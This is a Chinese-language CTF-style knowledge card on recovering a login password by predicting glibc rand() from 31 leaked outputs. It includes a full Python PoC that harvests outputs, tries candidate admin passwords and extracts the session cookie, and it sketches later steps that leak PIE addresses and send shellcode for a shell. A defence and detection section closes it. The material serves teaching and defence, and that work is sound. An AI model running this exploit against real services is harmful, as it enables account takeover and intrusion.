glibc rand() 连续输出泄露预测下一轮:31/3 线性递推恢复登录密码
crypto/prng · verified
一句话结论
当 Web 登录接口把 rand() 生成的密码随错误响应回显(例如 username 前缀 + 当前密码数字),攻击者可以连续收集 ≥31 个输出,利用 glibc rand() 的 31/3 加法反馈递推 o[n+1] ≈ (o[n-30] + o[n-2]) mod 2^31 预测下一轮密码;由于输出右移丢 1 bit,下一值只有 base/base+1 两个候选,两个都试即可登录管理员并拿到 session,继续访问受保护的 /pwn worker。
原理
- glibc 的
rand()使用非线性加法反馈生成器(TYPE_3:degree 31、separation 3)。对连续输出o[0..n],下一个输出满足:text o[n+1] = (o[n-30] + o[n-2] + eps) mod 2^31,eps ∈ {0,1}等价于 Python 负索引的base = (outputs[-31] + outputs[-3]) & 0x7fffffff,候选为base和(base+1) & 0x7fffffff。 - 为什么有
eps:内部状态是 32 位,rand()返回时做了>> 1(丢弃最低 1 bit),所以外部只能把下一次输出缩到两个候选;多试一次即可。 - 样本的密码生成:
srand(time(0) ^ getpid()),每次/login调用rand()生成数字密码并snprintf("%d");登录失败时snprintf(session_bytes, ..., aS, &v27)把 username 前缀和密码一起输出,攻击者用 16 字节 username 作为标记,正则提取后续数字。 - 攻击者不需要知道种子(time^pid),只需 ≥31 个连续输出;收集可以通过重复请求
/login(每次生成新密码并回显)完成。 - 登录成功后服务端返回
Set-Cookie: session=<32 hex>;带 admin session 才能访问/reward(泄露 PIE 指针)和/pwn?key=...(要求root.mys中的 key)。 - 该手法与“时间种子爆破”不同:不猜种子,而是从输出序列反推内部状态;适用于种子不可预测但输出可泄露的 PRNG。
- 边界:如果每次请求重新
srand且输出不连续、或输出被截断/扰动、或使用 CSPRNG,则递推失效;需要至少 31 个连续值,且实现与 glibc 一致。
触发条件
- 目标使用 glibc
rand()生成安全敏感值(密码、验证码、token),并把连续输出以某种形式泄露给攻击者。 - 攻击者能触发足够多次生成(≥31)并读取对应输出;输出没有被额外随机化/截断。
- 登录接口接受用户名/密码,密码可预测;会话 cookie 可被复用;受保护接口只校验 session。
- 目标 libc 的
rand()算法与 glibc 一致(Linux glibc);其他 libc/语言需重新确认递推参数。 - 没有严格的登录速率限制/验证码,否则收集 31 个输出可能受阻(可分布式/低速规避)。
利用步骤
- 观察
/login失败响应:构造 16 字节 username(如A*16),服务端回显中会带出本次rand()密码数字;用正则提取。 - 重复请求,收集至少 31 个连续输出
outputs;记录顺序,避免并发请求打乱序列。 - 计算
base = (outputs[-31] + outputs[-3]) & 0x7fffffff,候选base、base+1。 - 用
username=admin&password=<candidate>尝试登录;成功则从Set-Cookie: session=...取 session。 - 带 session 访问受保护接口:
POST /rewardbodyWin泄露 PIE 地址;通过下载/镜像读取root.mys中的 key;GET /pwn?key=<key>升级为 raw stream,进入pwn_worker。 - 在 worker 中发送受限 shellcode(见关联卡)获取 shell,读取 flag。
- 若两个候选都失败,检查是否输出序列有缺失/乱序、是否有其他请求消耗了
rand()、是否 libc 算法不同;可多收集几个输出重新计算。
PoC
import re, time, socket
from urllib.parse import quote
def leak_one(host, port):
body = b'username=' + b'A'*16 + b'&password=x'
req = (f'POST /login HTTP/1.1\r\nHost: {host}:{port}\r\n'
f'Content-Type: application/x-www-form-urlencoded\r\n'
f'Content-Length: {len(body)}\r\nConnection: close\r\n\r\n').encode() + body
s = socket.create_connection((host, port), timeout=3)
s.sendall(req)
data = b''
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
s.close()
m = re.search(rb'A{16}(\d+)', data)
if not m:
raise RuntimeError(data[:200])
return int(m.group(1))
def predict_next(outputs):
assert len(outputs) >= 31
base = (outputs[-31] + outputs[-3]) & 0x7fffffff
return base, (base + 1) & 0x7fffffff
def recover_session(host, port, rounds=8):
for _ in range(rounds):
outs = [leak_one(host, port) for _ in range(40)]
for cand in predict_next(outs):
body = f'username=admin&password={quote(str(cand), safe="")}'.encode()
req = (f'POST /login HTTP/1.1\r\nHost: {host}:{port}\r\n'
f'Content-Type: application/x-www-form-urlencoded\r\n'
f'Content-Length: {len(body)}\r\nConnection: close\r\n\r\n').encode() + body
s = socket.create_connection((host, port), timeout=3)
s.sendall(req)
resp = b''
while True:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
s.close()
m = re.search(rb'Set-Cookie: session=([0-9a-fA-F]{32})', resp)
if m:
return m.group(1).decode()
raise RuntimeError('login failed')
# 递推核心:
# o[n+1] = (o[n-30] + o[n-2] + eps) mod 2^31
# Python: base = (outputs[-31] + outputs[-3]) & 0x7fffffff
# 候选: base, (base + 1) & 0x7fffffff
变体与关联
- 变体:时间种子:若无法泄露输出但知道
srand(time(NULL)),可直接复现序列(见 [[crypto-prng-srand-time-seed-2fa-code-prediction]])。 - 变体:MT19937/PHP/Java:不同 PRNG 的递推/状态恢复方式不同;MT19937 需 624 个 32 位输出,
Math.random/V8 用 XorShift128+。 - 变体:输出泄露点:错误消息、日志、调试接口、邮件/短信验证码、API 返回的 token;任何把 PRNG 输出带出的地方都可尝试。
- 关联卡片:[[binary-pwn-sandbox-escape-xmm7-residual-libc-24byte-shellcode]](登录后 pwn_worker 的受限 shellcode)、[[crypto-prng-math-random-sharekey-recovery]](另一类 PRNG 密钥恢复)。
- 边界:需要 ≥31 个连续输出;并发/其他请求会破坏序列;若每次
srand重播种或输出经过哈希/加密,递推失效;glibc 版本差异可能影响递推参数。
检测与防御
- 修复:密码/验证码/token 使用 CSPRNG(
getrandom、/dev/urandom、RAND_bytes);不要用rand()生成安全敏感值。 - 防泄露:错误响应不要回显随机密码/内部状态;日志脱敏;调试接口下线。
- 会话:登录失败限制速率、增加验证码/延迟;session 绑定用户/IP/设备并设置短有效期;敏感操作二次认证。
- 检测:监控同一 IP 短时间内大量
/login失败、响应体包含长数字、随后成功登录;检测异常 session 复用/受保护接口访问。